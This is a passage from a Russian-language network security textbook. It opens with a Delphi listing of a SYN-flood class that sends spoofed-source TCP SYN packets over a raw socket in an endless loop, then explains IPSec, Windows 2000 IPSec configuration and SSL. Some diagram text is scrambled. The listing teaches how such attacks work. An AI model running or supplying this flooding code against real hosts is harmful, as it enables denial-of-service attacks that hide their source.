FLength: Word; // Структура адреса сокета FRemote: TSockAddr; protected procedure Execute; override; public constructor Create(const ASrcIP, ADestIP: string; ASrcPort, ADestPort: Word); destructor Destroy; override; procedure CreateIPHeader(ASize: Word); procedure CreatePacket(var AData; ASize: Word); procedure CreateTCPHeader; function CheckSum_PseudoHdr(ASize: Word): Word; end; function Crc16(var ABuffer; ASize: Integer): Word; function Crc16Add(ASum1, ASum2: Word): Word; implementation // Вычисляет контрольную сумму по алгоритму CRC-16 function Crc16(var ABuffer; ASize: Integer): Word; type TWordArray = Array[0..1] of Word; var ChkSum: LongWord; i: Integer; begin ChkSum := 0; i := 0; while ASize > 1 do begin ChkSum := ChkSum + TWordArray(ABuffer)[i]; Inc(i); ASize := ASize - SizeOf(Word); end; if ASize = 1 then ChkSum := ChkSum + Byte(TWordArray(ABuffer)[i]); ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF); ChkSum := ChkSum + (Chksum shr 16);


75

Result := not Word(ChkSum); end; // Складывает две контрольные суммы CRC-16 function Crc16Add(ASum1, ASum2: Word): Word; var ChkSum: LongWord; Sum: Word; begin ChkSum := LongWord(ASum1) + LongWord(ASum2); Sum := Word(ChkSum); if ChkSum > $FFFF then ChkSum := Sum + 1 else ChkSum := Sum; if not Boolean(ChkSum) and (Boolean(ASum1) or Boolean(ASum2)) then Result := $FFFF else Result := Word(ChkSum); end; // Подсчет контрольной суммы псевдозаголовка TCP function TSYNFlood.CheckSum_PseudoHdr(ASize: Word): Word; begin with FPseudoHdr do begin ph_ip_src := FSrcIP; ph_ip_dst := FDestIP; ph_zero := 0; ph_protocol := IPPROTO_TCP; ph_length := htons(ASize); end; Result := Crc16(FPseudoHdr, SizeOf(FPseudoHdr)); end; // Конструктор класса constructor TSYNFlood.Create(const ASrcIP, ADes-tIP: string; ASrcPort, ADestPort: Word); var Opt: Integer;


76

begin inherited Create(true); FSrcPort := htons(ASrcPort); FDestPort := htons(ADestPort); FSrcIP := inet_addr(PChar(ASrcIP)); FDestIP := inet_addr(PChar(ADestIP)); CreateTCPHeader; CreatePacket(FTCPHeader, SizeOf(FTCPHeader)); // Заполнение структуры адреса сокета FRemote.sin_family := AF_INET; FRemote.sin_port := FDestPort; FRemote.sin_addr.S_addr := FDestIP; FSocket := Socket(AF_INET, SOCK_RAW, IPPROTO_RAW); Opt := 1; // Выполнение команды IP_HDRINCL SetSockOpt(FSocket, IPPROTO_IP, IP_HDRINCL, @Opt, SizeOf(Opt)); Resume; end; // Создание IP-заголовка procedure TSYNFlood.CreateIPHeader(ASize: Word); begin // Текст процедуры приведен в разделе 4.1 end; // Создание IP-пакета procedure TSYNFlood.CreatePacket(var AData; ASize: Word); begin // Текст процедуры приведен в разделе 4.1 end; // Создание TCP-заголовка procedure TSYNFlood.CreateTCPHeader; begin with FTCPHeader do begin tcp_sport := FSrcPort;


77

tcp_dport := FDestPort; tcp_seq_num := htonl(GetCurrentProcessId); tcp_ack_seq_num := 0; tcp_offset := (SizeOf(FTCPHeader) div 4) shl 4; tcp_flags := tcp_flags or (1 shl 1); tcp_window := htons(512); tcp_checksum := 0; tcp_urg_pointer := 0; tcp_checksum := Crc16Add(Crc16(FTCPHeader, SizeOf(FTCPHeader)), CheckSum_PseudoHdr(SizeOf(FTCPHeader))); end; end; // Деструктор класса destructor TSYNFlood.Destroy; begin Suspend; CloseSocket(FSocket); inherited Destroy; end; // Посылка IP-пакетов атакуемому хосту procedure TSYNFlood.Execute; begin while not Terminated do SendTo(FSocket, FBuffer, FLength, 0, @FRemote, SizeOf(FRemote)); end; end.

Приведенная программа является примером совместного ис-

пользования двух видов активных атак: DoS-атаки SYN flood и под-мены адреса источника. Для увеличения эффективности злоумыш-ленники могут использовать более сложные комбинации атак, вклю-чая элементы пассивных атак.


78

Вопросы к разделу 4 8. Каким образом подмена адреса источника используется при

организации активных атак? 9. Как используются средства протокола ICMP при организа-

ции атаки smurf? 10. По листингу 4.5 поясните структуру TCP-сегмента. 11. Какие защитные меры можно предпринять для противодей-

ствия атаке типа smurf, если злоумышленник находится в Вашей сети?


79

5. СРЕДСТВА ПРОТОКОЛА IPSEC ДЛЯ ОРГАНИЗАЦИИ

ЗАЩИЩЕННЫХ ВЗАИМОДЕЙСТВИЙ

5.1. Архитектура протокола IPSec

Общая структура IPSec Протокол защиты IPSec предоставляет набор сервисов, обеспе-

чивающих конфиденциальность, целостность и аутентификацию пе-редаваемых по сети данных. Реально IPSec представляет собой сис-тему протоколов, построение которой основывается на использова-нии ряда стандартных криптографических технологий:

обмены ключами согласно алгоритму Диффи-Хеллмана для распределения секретных ключей между пользователями в открытой сети;

криптография открытых ключей для подписывания обменов Диффи-Хеллмана (гарантирует подлинность двух сторон);

цифровые сертификаты для подтверждения подлинности от-крытых ключей;

блочные симметричные алгоритмы шифрования данных; алгоритмы аутентификации сообщений на базе функций хе-

ширования. Общая структурная схема системы IPSec приведена на рис. 5.1.

Алгоритмыаутентификации

Алгоритмышифрования

Алгоритмыуправления

ключами

ПротоколАН

ПротоколESP

ПротоколIKE

Доменинтерпретации

Рис. 5.1


80

Все протоколы, представленные в IPSec, можно разделить на две группы.

Одну группу образуют протоколы, непосредственно произво-дящие обработку передаваемых данных для обеспечения их защиты: протокол аутентифицирующего заголовка AH (Authentication Header) и протокол инкапсулирующей зашиты ESP (Encapsulating Security Payload).

Другая группа – это протоколы, позволяющие автоматически согласовать параметры защищенных соединений, необходимые про-токолам первой группы. В эту группу входит протокол управления ключами IKE (Internet Key Exchange).

Протоколы AH, ESP и IKE составляют ядро системы IPSec, вы-полняя в нем определенные функции защиты. Модуль домена интер-претации обеспечивает совместную работу всех протоколов и алго-ритмов в структуре IPSec. Этот модуль содержит сведения об ис-пользуемых в IPSec протоколах и алгоритмах, их параметрах и т.п.

Протоколы AH и ESP Протоколы AH и ESP функционируют в рамках уже установ-

ленного логического соединения, которое в IPSec называют безопас-ной ассоциацией. Для выполнения своих задач по обеспечению безопасной передачи данных AH и ESP включают в обрабатывае-мые ими пакеты данных дополнительную служебную информацию, оформляя ее в виде заголовков [12 – 14].

П р о т о к о л а у т е н т и ф и ц и р у ю щ е г о з а г о л о в к а AH гарантирует целостность и аутентичность данных. Он «привязы-вает» данные в составе пакета к своеобразной подписи, позволяющей удостовериться как в подлинности отправителя, так и в целостности принятой от него информации. Протокол AH содержит также средст-ва защиты от повтора всего пакета. Однако этот протокол не обеспе-чивает конфиденциальность передаваемых данных, то есть он не предназначен для их шифрования. Данные могут быть прочитаны промежуточными узлами, но не могут быть изменены. Целостность и аутентичность данных обеспечивается добавлением аутентифици-рующего заголовка перед заголовком IP и заголовком транспортного уровня (TCP/UDP) [12-14].

Для обеспечения целостности в протоколе AH используются ал-горитмы хеширования, такие как HMAC-SHA-1 или HMAC-MD5. Действие этих алгоритмов основано на применении обеими взаимо-действующими сторонами общего секретного ключа длиной 128 бит


81

(для MD5) 160 бит (для SHA-1). Протокол AH аутентифицирует весь IP-пакет, за исключением некоторых полей в IP-заголовке, которые могут меняться в процессе передачи пакета в сети.

П р о т о к о л и н к а п с у л и р у ю щ е й з а щ и т ы ESP шифрует передаваемые данные, обеспечивая тем самым их конфи-денциальность. Он может также поддерживать аутентификацию и целостность передаваемой информации. Имеет защиту от атак с по-втором пакетов. Конфиденциальность данных протокол ESP обеспе-чивает всегда, а аутентичность и целостность являются для него оп-циональными требованиями.

Конфиденциальность в ESP обеспечивается путем шифрования отдельных пакетов. Целостность и аутентичность реализована на ос-нове дайджеста. Обычно подпись ESP не ставится на весь пакет це-ликом: за-щищаются лишь данные, а не заголовок IP.

Протокол ESP допускает применение практически любого сим-метричного алгоритма для шифрования пакетов. По умолчанию в качестве алгоритма шифрования стандартом предусмотрен симмет-ричный метод DES-CBC c 56-разрядным ключом. Этот алгоритм не-обходим для обеспечения IPSec-совместимости. В качестве альтерна-тивы DES определены следующие алгоритмы: 3DES (длина ключа 128/168 бит), CAST-128 (длина ключа до 128 бит), RC5 (длина ключа до 2048 бит) и некоторые другие [12].

В отличие от протокола AH, контроль целостности и аутентич-ности данных в протоколе ESP не распространяется на заголовок па-кета, поэтому имеет смысл применять оба протокола совместно: ESP – для шифрования данных, а AH – для контроля их целостности.

Разделение функций защиты между двумя протоколами AH и ESP обусловлено применяемой во многих странах практикой ограни-чения экспорта и/или импорта средств, обеспечивающих конфиден-циальность данных путем шифрования. Поэтому в тех случаях, когда шифрование из-за действующих ограничений применять нельзя, сис-тему целесообразно поставлять только с протоколом AH.

Программное обеспечение перечисленных протоколов (утилиты шифрования, цифровой подписи и т.п.) может функционировать на серверах или компьютерах конечных пользователей. Однако его ча-ще устанавливают на маршрутизаторах или специальных устройст-вах, которые в архитектуре IPSec именуются шлюзами безопасности.

Существует два режима использования протоколов AH и ESP – туннельный и транспортный. В транспортном режиме защищаются только данные исходного IP-пакета, заголовок остается открытым.


82

Туннельный режим основан на инкапсуляции всего IP-пакета. При этом исходный пакет сначала полностью помещается в «оболочку» IPSec (его содержимое полностью шифруется вместе с исходным IP-заголовком). Затем, чтобы обеспечить возможность маршрутизации, он снабжается отдельным IP-заголовком и только после этого от-правляется в сеть.

Обычно туннельный режим применяется для обмена данными между несколькими локальными сетями через глобальную сеть с ис-пользованием шлюзов безопасности. В рамках одной сети передача пакетов происходит, как правило, в транспортном режиме. Когда па-кет передается во внешнюю сеть, он сначала попадает на шлюз безо-пасности внутренней сети. Для передачи пакета во внешнюю сеть используется туннельный режим. Шлюз безопасности, находящийся на противоположном конце соединения, расшифровывает данные и передает их адресату в своей локальной сети в транспортном режиме.

Преимущество туннельного режима состоит в том, что его ис-пользование позволяет скрыть истинную топологию сети. Это обес-печивает защиту от атак, основанных на детальном анализе трафика.

Транспортный и туннельный режимы можно использовать в раз-ных комбинациях в зависимости от множества различных факторов, таких как топология сети, требования безопасности и производитель-ности. Это определяет широкие возможности IPSec при его исполь-зовании для построения виртуальных частных (защищенных) сетей VPN. Подробное описание всех возможных применений IPSec выхо-дит за рамки данного пособия.

Протокол IKE Протокол управления ключами IKE позволяет автоматически со-

гласовать параметры защищенного соединения и сформировать для него ключевую информацию. В процессе согласования также проис-ходит взаимная аутентификация партнеров соединения.

Чтобы AH и ESP могли выполнять свою работу по защите пере-даваемых данных, протокол IKE устанавливает между двумя конеч-ными точками логическое соединение, которое в стандартах IPSec носит название «безопасная связь (ассоциация)» - SA (Security Asso-ciation) .

Установление SA начинается со взаимной аутентификации сто-рон. Выбираемые далее участниками взаимодействия параметры SA определяют, какой из протоколов (AH/ESP) применяется для защиты данных, какие функции выполняет протокол защиты: например,


83

только аутентификацию и проверку целостности или еще и защиту от ложного воспроизведения.

После проведения аутентификации протокол IKE обеспечивает со-здание ключевой информации для безопасной ассоциации, а также реализует непосредственный обмен ключами. Соответствующие средства IKE основываются на протоколах ISAKMP/Oakley [13,14].

Протокол ISAKMP (Internet Security Association and Key Man-agement Protocol) позволяет согласовывать алгоритмы и математиче-ские структуры для процедуры обмена ключами Диффи-Хеллмана, а также для процессов аутентификации. ISAKMP сам по себе не огра-ничивается каким-либо конкретным алгоритмом обмена ключами, а предлагает множество типов сообщений, которые могут использо-ваться с рядом конкретных алгоритмов обмена ключами.

Протокол Oakley служит для непосредственного управления ключами. Данный протокол представляет собой протокол обмена ключами, основанный на алгоритме Диффи-Хеллмана, но он обеспе-чивает дополнительную защиту. Протокол Oakley оказывается об-щим в том смысле, что он не диктует использование каких-то кон-кретных форматов [10].

Базы данных SPD и SAD

В каждом узле, поддерживающем IPSec, используются базы данных двух типов:

база данных политики безопасности SPD (Security Policy Da-tabase);

база данных соглашений о безопасности SAD (Security Associ-ation Database).

База данных SPD задает соответствие между IP-пакетами и уста-новленными для них правилами обработки. Записи SPD состоят из полей двух типов – поля селектора пакета и поля политики защиты для пакета с данным значением селектора.

Селектор состоит из набора признаков, на основании которых можно выделить тип трафика, подлежащего защите определенным образом. В качестве такой информации обычно используются диапа-зоны IP-адресов для источника и назначения, порты, типы протоко-лов, имя пользователя и.д. Для каждого нового пакета, поступающего в канал, IPSec просматривает все записи в базе SPD и сравнивает значение селекторов этих записей с соответствующими полями IP-пакета. Если зна-чение полей совпадает с каким-либо селектором, к


84

пакету применяется действие, определенное в поле политики безо-пасности данной записи.

Политика безопасности предусматривает три возможных вари-анта обработки пакета: отбрасывание, передача пакета без изменения, обработка средствами IPSec. Пакеты, нуждающиеся в защите прото-колами IPSec, обрабатываются по третьему варианту. В этом случае политика безопасности должна содержать ссылку на запись в базе данных SAD, в которую помещен набор параметров соглашений о безопасности для данного пакета. Если к исходящему пакету надо применить некоторую политику защиты, а база данных SPD свиде-тельствует о том, что в настоящее время нет активного соглашения о безопасности, соответствующего данной политике, то IPSec создает новое соглашение SA, используя средства протокола IKE.

При установлении соглашения о безопасности две стороны рег-ламентируют процесс передачи потока данных между ними, что фик-сируется в виде набора параметров. Для соглашения безопасности такими параметрами, в частности, являются тип и режим работы про-токолов AH и ESP, методы шифрования, секретные ключи, значение номера текущего пакета и т.д. Объединение обширной служебной информации в рамках SA предоставляет пользователю возможность сформировать широкий спектр различных классов защиты, предна-значенных для организации взаимодействий по сети с соответствую-щим уровнем безопасности.

5.2. Общая схема взаимодействия по протоколу IPSec

На рис. 5.2 представлена общая схема, иллюстрирующая прин-цип организации взаимодействия между любыми двумя узлами сети на основе протокола IPSec. На этом рисунке показана логика исполь-зования средств IPSec при передаче с узла N1 на узел N2 сети неко-торого исходного IP-пакета П, для которого способ защиты опреде-ляет безопасная ассоциация SA3. Естественно, что на этих узлах могут быть определены и другие ассоциации, например, SA1 и SA2.

Сначала происходит сравнение заголовка исходного пакета П с селекторами базы данных SPD исходящего трафика узла N1. Если со-ответствие найдено, то из поля политики безопасности извлекается ссылка на запись в базе данных SAD исходящего трафика. На рис. 5.2 такая ссылка указывает на запись SA3 . Далее по найденной ссылке происходит обращение к соответствующей записи SAD исходящего


85

трафика и определяются параметры используемого соглашения о безо-пасности. На основании этих параметров к пакету П применяются со-ответствующие протоколы (AH/ESP), функции шифрования и секрет-ные ключи. Затем обработанный пакет пересылается на узел N2.

На принимающем узле N2 из заголовка AH/ESP входящего па-кета извлекается значение индекса параметров защиты (SPI), которое указывает на соответствующую запись в базе данных SAD входящего трафика узла N1. В результате на узле N2 определяются параметры соглашения о защите и происходит расшифровка пакета в соответст-вии с этими параметрами. После расшифровки пакета принимающий узел проверяет его признаки (ставшие теперь доступными) на пред-мет совпадения с селектором записи SPD входящего трафика, чтобы убедиться, что проводимая политика защиты соответствует поли-тике защиты, заданной администратором.

Использование баз SPD и SAD в рассматриваемой схеме позво-ляет достаточно гибко сочетать механизм безопасных ассоциаций, который предусматривает установление логического соединения, с датаграммным характером трафика протокола IP. Соответствующая настройка базы SPD позволяет обеспечить нужную степень детализа-ции защиты – от применения одной общей ассоциации для всего трафика до защиты каждого отдельного приложения с помощью индивидуально настроенной ассоциации.


86

Сет

ь

Узе

л N

2

Вхо

дящ

ий п

акет

Пак

ет П

SPD

вхо

дящ

его

траф

ика

IP

SA3

IP

поли

тика

SAD

вхо

дящ

его

траф

ика

ESP

/AH

SA1

SA2

SA3

Исх

одны

й па

кет

ПО

браб

отан

ный

паке

т

SPD

исх

одящ

его

траф

ика

SAD

исх

одящ

его

траф

ика

IPIP

ESP

/AH

SA1

SA2

SA3

SA3

селе

ктор

поли

тикаУ

зел

N1

Рис.

5.2

SPI

селе

ктор


87

5.3. Конфигурирование средств протокола IPSec в ОС Windows 2000

В данном разделе рассмотрен пример использования протокола IPSec для организации защищенной связи между двумя компьютера-ми в рамках некоторой локальной сети. Первый компьютер с именем Comp1 имеет IP-адрес 10.0.0.11, другой компьютер Comp2 имеет ад-рес 10.0.2.2. IP-адреса обоих компьютеров относятся к классу А, что соответствует использованию маски адреса 255.0.0.0.

Рассматриваемая задача состоит в полной изоляции обоих ука-занных компьютеров от локальной сети, в которой они находятся, а также от глобальной сети, если внутренняя сеть подключена к сети Internet. При этом нужно организовать шифрование и аутентифика-цию потока данных между обоими компьютерами для защиты от раз-личных активных и пассивных атак.

Несмотря на то, что задача носит учебный характер, ее обсуж-дение позволяет продемонстрировать основные принципы организа-ции защиты с использованием средств протокола IPSec, реализован-ных в ОС Windows 2000.

Для решения задачи необходимо создать и назначить, (то есть сделать активной) политику безопасности. Политика безопасности применительно к рассматриваемой задаче будет содержать два пра-вила. Первое правило отвечает за изоляцию компьютеров от внеш-ней сети. То есть оно должно отбрасывать все пакеты, которые в ад-ресных полях содержат IP-адреса, отличные от 10.0.0.11 и 10.0.2.2. Второе правило будет обеспечивать шифрование и аутентификацию потока данных между двумя компьютерами.

Важно отметить, что терминология компании Microsoft несколь-ко отличается от той, которая определена в стандарте IPSec, что вно-сит некоторую путаницу. Так, используемое далее понятие «фильтр» в стандарте определено как «селектор», «действие фильтра» как «по-литика защиты» и т.д. В целом же соответствие между стандартом и реализацией достаточно прозрачно.

Для удобства процесс конфигурирования средств протокола IP-Sec в приводимом примере разбит на 4 этапа. Содержание этих эта-пов и их количество может меняться в зависимости от требований конкретной решаемой задачи. Все производимые настройки должны быть выполнены на обоих компьютерах Comp1 и Comp2. Ниже при-водится порядок настройки для одного компьютера Comp1.


88

Рис. 5.3

Этап 1. Создание политики безопасности 1. Открыть вкладку «Локальные параметры безопасности»

(Пуск-> Настройка-> Панель управления-> Администрирование-> Локальная политика безопасности) (рис. 5.3).

2. Нажатием правой кнопки мыши на элементе «Политики безо-пасности IP на «Локальный компьютер»» открыть контекстное меню и выбрать «Создать политику безопасности IP». Откроется окно мас-тера политики безопасности. Нажать кнопку «Далее».

3. Откроется страница ввода имени политики безопасности. Можно ввести произвольное имя, например, ipsec. Нажать кнопку «Далее».

4. На открывшейся странице снять флажок напротив «Использо-вать правило по умолчанию», поскольку нет необходимости исполь-зовать настройки политики по умолчанию. Нажать кнопку «Далее».

5. Нажать кнопку «Готово». При этом не надо убирать флажок напротив надписи «Изменить свойства». В результате отобразится окно настройки свойств политики безопасности. В нем отображается список правил, имеющийся в данной политике безопасности. Этап 2. Добавление правила изоляции компьютера от внешней сети

1. В окне «Свойства: Новая политика» нажать кнопку «Доба-вить…». Отобразится мастер добавления правил безопасности. На-жать кнопку «Далее».

2. Выбрать переключатель «Это правило не определяет тун-нель». В данном примере нет смысла использовать режим туннели-рования. Нажать кнопку «Далее».


89

3. Выбрать переключатель «Все сетевые подключения». Нажать кнопку «Далее».

4. Выбрать переключатель «Стандарт Windows 200 (Kerberos V5)». Нажать кнопку «Далее». Данный стандарт будет использовать-ся в процессе установления защищенного соединения.

5. Откроется страница списка фильтров. В ней необходимо вы-брать фильтр правила. Фильтр представляет собой диапазон входных и выходных адресов, к которым будет применяться правило. В Дан-ном случае можно выбрать предопределенный фильтр «Весь IP-трафик». Этот фильтр устанавливает, что ко всем исходящим пакетам с компьютера Comp1 будет применяться текущее правило. Нажать кнопку «Далее».

6. Откроется страница настройки действий фильтра. Действие фильтра определяет способ обработки пакета, к которому применяет-ся текущее правило. В данном случае отсутствует предопределенное действие, поэтому его необходимо создать. Для этого надо нажать кнопку «Добавить…»

7. Отобразится окно мастера применения фильтра. Нажать кноп-ку «Далее».

8. Ввести название действия фильтра, например, «block», кото-рое будет указывать, что это действие отбрасывает пакеты. Нажать кнопку «Далее».

9. Установить переключатель «Блокировать». Нажать кнопку «Далее» и кнопку «Готово».

10. Окно мастера применений фильтра будет закрыто. В списке действий фильтров появится новое действие с именем «block». Надо установить переключатель «block». Нажать кнопку «Далее» и кнопку «Готово». Правило будет создано. В результате в списке правил окна «Свойства: Новая политика» появится новое правило. Однако необ-ходимо добавить еще одно правило, которое будет определять мето-ды шифрования и аутентификации потоков данных между компью-терами Comp1 и Comp2. Этап 3. Добавление правила, обеспечивающего аутентификацию и шифрование потоков данных между компьютерами Comp1 и Comp2 1– 4. Те же, что и в предыдущем этапе.

5. В список фильтров необходимо добавить новый фильтр, поскольку отсутству-ют подходящие предопределенные фильтры. Нажать кнопку «Добавить…».


90

6. Откроется окно «Список фильтров IP». Ввести название но-вого фильтра, например «filter». Нажать кнопку «Добавить…»

7. Откроется окно мастера фильтров IP. Нажать кнопку «Да-лее».

8. Выбрать в списке выбора исходного адреса «Мой IP-адрес». Нажать кнопку «Далее».

9. Выбрать в списке выбора адреса назначения «Определенный IP-адрес» и указать в поле ввода адрес компьютера Comp2 (10.0.2.2). Нажать кнопку «Далее».

10. В списке выбора типа протокола выбрать «Любой». Нажать кнопку «Далее» и кнопку «Готово». Нажать кнопку «Закрыть». Окно мастера будет закрыто. В списке фильтров окна мастера правил безо-пасности появиться фильтр с названием «filter».

11. Выбрать переключатель «filter» и нажать кнопку «Далее». 12. Теперь необходимо добавить новое действие фильтра. Для

этого надо проделать практически те же шаги, что и на предыдущем этапе. Отличие состоит в том, что надо ввести другое название дейст-вия, например «action» и вместо переключателя «Блокировать» уста-новить переключатель «Согласовать параметры безопасности». На-жать кнопку «Далее».

13. Выбрать переключатель «Не соединяться с компьютерами, не поддерживающими IPSec». Нажать кнопку «Далее».

14. Выбрать переключатель «Высокая безопасность (ESP)». По-средством выбора данного переключателя указывается, что для ау-тентификации, шифрования и обеспечения целостности данных будет использоваться протокол ESP пакета IPSec, а также ряд других важ-ных параметров, таких как используемые в процессе обмена алго-ритмы блочного шифрования и шифрования на основе открытых ключей, таймауты и т.д. Если возникает необходимость более точной настройки методов обеспечения безопасности, надо выбрать пере-ключатель «Особо» и нажать кнопку «Параметры…» для получения доступа к соответствующему диалогу. Нажать кнопку «Далее» и кнопку «Готово». Окно мастера применений фильтра будет закрыто. 15. Выбрать действие «action» в списке действий фильтра. Нажать кнопку «Далее» и кнопку «Готово». Новое правило создано, а с ним и новая политика безопасности. Теперь необходимо отсортировать правила в политике таким образом, чтобы первым проверялось на соответствие пакета селектору правило, созданное вторым (иначе при выполнении первого правила абсолютно все пакеты будут блокиро-ваны). Для этого необходимо сделать щелчок левой кнопкой мыши


91

на заголовке списка правил и добиться, чтобы второе правило оказа-лось в списке выше первого. После этого можно закрыть окно свойств политики безопасности и сделать созданную политику ак-тивной. Этап 4. Активизация созданной политики безопасности

Этот этап состоит в следующем. В окне «Локальные параметры безопасности» выбрать необходимую политику. По щелчку правой кнопки мыши на имени соответствующей политики открыть контек-стное меню и выбрать пункт «Назначить».

После того, как все шаги проделаны, можно проверить правиль-ность настройки политики безопасности. Для этого надо запустить программу «Монитор IP-безопасности» (Пуск->Выполнить…->ipsecmon). Затем можно, например, попытаться обратиться с ком-пьютера Comp1 к компьютеру Comp2. Самый простой способ для этого – использовать команду ping. Если настройка проведена пра-вильно, то после ввода команды в окне монитора безопасности IP отобразится соответствующая статистика: имя используемой полити-ки, имя фильтра, методы обеспечения безопасности и т.д. Поскольку компьютеры Comp1 и Comp2 изолированы от внешней сети, то ко-манда ping c другими компьютерами работать не должна.

Таким образом, между компьютерами Comp1 и Comp2 на треть-ем (сетевом) уровне фактически был создан виртуальный защищен-ный канал с определенными свойствами. Созданную конфигурацию можно рассматривать как базовый элемент, образующий основу для построения виртуальной защищенной сети (VPN). Модифицируя описанные политики безопасности и распространяя их на другие узлы, можно создать полноценную VPN.

Вопросы к разделу 5 1. Является ли протокол IPSec многоуровневневым с точки

зрения модели открытого взаимодействия OSI? 2. Какие базовые сервисы безопасности обеспечиваются сред-

ствами протоколов AH и ESP? 3. Объясните значение термина «политика безопасности» при-

менительно к использованию IPSec. 4. Представьте в виде таблиц фильтрации политику безопасно-

сти для обоих компьютеров в условиях примера, рассматри-ваемого в разделе 5.2.


92

6. ИСПОЛЬЗОВАНИЕ СРЕДСТВ ПРОТОКОЛА SSL ДЛЯ ЗАЩИТЫ СЕТЕВЫХ ВЗАИМОДЕЙСТВИЙ

6.1. Архитектура и средства протокола SSL

Общая структура SSL Протокол SSL используется для организации защищенных со-

единений в сетях TCP/IP и содержит набор средств, обеспечивающих четыре базовых сервиса защиты потока: целостность, конфиденци-альность, аутентификация и невозможность отречения (не позволяет отправителю или получателю отказаться от факта пересылки сооб-щения). Следует отметить, что в настоящее время на базе SSLv3 раз-работан стандарт, названный TLS, который по существу является следующей версией SSL.

Средства SSL могут быть представлены в виде двухуровневой системы протоколов, располагающихся в общем стеке непосредст-венно над TCP (рис. 6.1). Протокол записи SSL обеспечивает базовый набор средств защиты, используемых протоколами более высокого уровня. Три других протокола: протокол квитирования, протокол изменения параметров шифрования SSL и протокол извещения рас-положены на прикладном уровне и служат в SSL для управления обменом данными.

Протоколквитирования

SSL

Протоколизменения

параметровшифрования

SSL

Протоколизвещения

SSLFTP

IP

HTTP

TCPПротокол записи SSL

Рис 6.1.

Работа протокола SSL описывается в терминах двух важных по-

нятий: соединение SSL и сеанс SSL. В терминах модели OSI соединением называется транспорт,

обеспечивающий сервис некоторого типа. В случае SSL такие со-


93

единения определяют равноправные отношения между узлами, и в принципе они аналогичны соединениям TCP. Соединения SSL явля-ются временными, и каждое соединение ассоциируется только с од-ним сеансом.

Сеанс SSL – это связь между сторонами-участниками обмена данными. Сеансы создаются протоколами квитирования. Сеанс SSL определяет набор параметров криптографической защиты, которые могут использоваться несколькими соединениями. Сеансы позволяют избежать необходимости ведения переговоров об установлении па-раметров защиты для каждого нового соединения.

Между любой парой взаимодействующих сторон можно устано-вить несколько защищенных соединений. Теоретически возможно установить и множество сеансов, однако на практике это применяет-ся редко.

Назначение протоколов в стеке SSL

П р о т о к о л з а п и с и обеспечивает поддержку двух серви-сов защиты для соединений SSL: конфиденциальность и целостность сообщений. Этот протокол, получив сообщение для пересылки по сети другой стороне, сначала фрагментирует данные, разбивая их на блоки подходящего размера, при необходимости выполняет сжатие данных, применяет алгоритм вычисления кода аутентичности сооб-щения (КАС), шифрует данные, добавляет заголовок и передает по-лученные пакеты сегменту TCP. На принимающей стороне с помо-щью этого протокол полученные данные дешифруются, проверяются, восстанавливаются, собираются вновь и передаются прикладному уровню.

П р о т о к о л и з м е н е н и я параметров шифрования являет-ся самым простым из трех протоколов высшего уровня стека прото-колов SSL. Этот протокол генерирует однобайтовое сообщение, единственной задачей которого является указание начать обновление комплекта шифров для данного соединения.

П р о т о к о л и з в е щ е н и я предназначен для передачи дру-гой участвующей в обмене данными стороне извещений, касающих-ся работы SSL. Подобно данным любого другого приложения, ис-пользующего SSL, сообщения протокола извещения сжимаются и шифруются в соответствии с параметрами текущего состояния.

П р о т о к о л к в и т и р о в а н и я является самым сложным протоколом в стеке протоколов SSL. Этот протокол позволяет сторо-нам выполнить взаимную аутентификацию, а также согласовать ал-


94

горитмы шифрования, вычисления КАС и криптографические ключи, которые будут служить для защиты пересылаемых данных. Прото-кол квитирования используется до начала пересылки данных при-кладных программ.

Сертификаты как средство обеспечения аутентификации взаимодействующих сторон

В SSL сервис аутентификации сторон, участвующих в обмене данными, основан на технологии сертификатов. Следует не путать понятия аутентификации участников взаимодействия и аутентифи-кации сообщений [13]. Средства аутентификации передаваемых со-общений защищают две обменивающиеся стороны от любой третьей, но не обеспечивает их защиту друг от друга. Для обеспечения аутен-тификации сообщений используются различные алгоритмы хеширо-вания и особые виды блочных шифров. Для аутентификации сторон используются алгоритмы цифровой подписи. Сертификаты пред-ставляют собой одну реализаций таких алгоритмов.

Цифровая подпись используется в ситуациях, когда нет полного доверия между отправителем и получателем сообщения. Цифровая подпись является аналогом подписи, сделанной от руки, и обеспечи-вает следующие возможности:

- установить автора, а также дату и время подписи; - установить достоверность содержимого сообщения на время

подписи; - произвести проверку третьей стороной на случай возникнове-

ния спора. Цифровая подпись реализуется на основе методов шифрования с

открытыми и секретными ключами. Для осуществления цифровой подписи необходим эффективный механизм распределения открытых и секретных ключей. Данный механизм, прежде всего, должен обес-печивать невозможность фальсификации открытых ключей. Один из лучших вариантов решения проблемы распределения открытых клю-чей заключается в использовании доверенного источника открытых ключей – некоторой организации, которая поддерживает каталог открытых ключей и гарантирует их подлинность. Однако данный подход имеет ряд недостатков. Главный из них, состоит в том, что получатель должен постоянно обращаться к доверенному источнику, что является серьезной потенциальной уязвимостью. Для решения данной проблемы используются сертификаты открытых ключей [13].


95

Общая схема функционирования протокола SSL Процесс функционирования SSL состоит из двух этапов: этап

установки сеанса и этап обмена данными (рис. 6.2).

Эта

п 1

Уст

анов

ка с

еанс

аЭ

тап

2

Обм

ен д

анны

ми

Протоколквитирования

Протоколзаписи

Взаимная аутентификация, формирование общего секретного ключа

для блочного шифрования

Обмен данными прикладных программ

Определение характеристик защиты(номер версии протокола, идентификатор

сеанса, комплект шифров и т.д.)

Протокол измененияпараметров шифрования

Смена комплекта шифров и завершение работы протокола квитирования

Рис. 6.2


96

На первом этапе происходит взаимодействие по протоколу кви-тирования [13]. Стороны проводят взаимную аутентификацию, син-хронизируют наборы шифров, формируют общий секретный ключ для блочного шифра. При завершении первого этапа происходит об-мен сообщениями протокола изменения параметров шифрования, в результате чего стороны обновляют комплекты согласованных к это-му моменту шифров.

На втором этапе происходит обмен данными прикладного уров-ня с помощью средств протокола записи. Передаваемая информация шифруется блочным шифром. При этом используется сформирован-ный на этапе установки сеанса общий секретный ключ. На данном этапе может также возникнуть необходимость в использовании двух других протоколов верхнего уровня SSL: протокола изменения па-раметров шифрования и протокола извещения.

6.2. Использование SSL во взаимодействиях с Web-сервером Microsoft IIS

В настоящее время SSL наиболее широко применяется совме-стно с протоколом прикладного уровня HTTP. Например, при осуще-ствлении электронных платежей через Web важно защитить пароли и номера счетов, передачу которых проще всего реализовать с исполь-зованием HTTP-запросов GET/POST.

Большинство современных Web-серверов и Web-браузеров имеют поддержку протокола SSL. В данном разделе показывается, как производить настройку протокола SSL на Web-сервере Microsoft IIS (Internet Information Services) версии 5 в операционной системе Windows 2000 и осуществлять соответствующие безопасные взаимо-действия с Web-браузером.

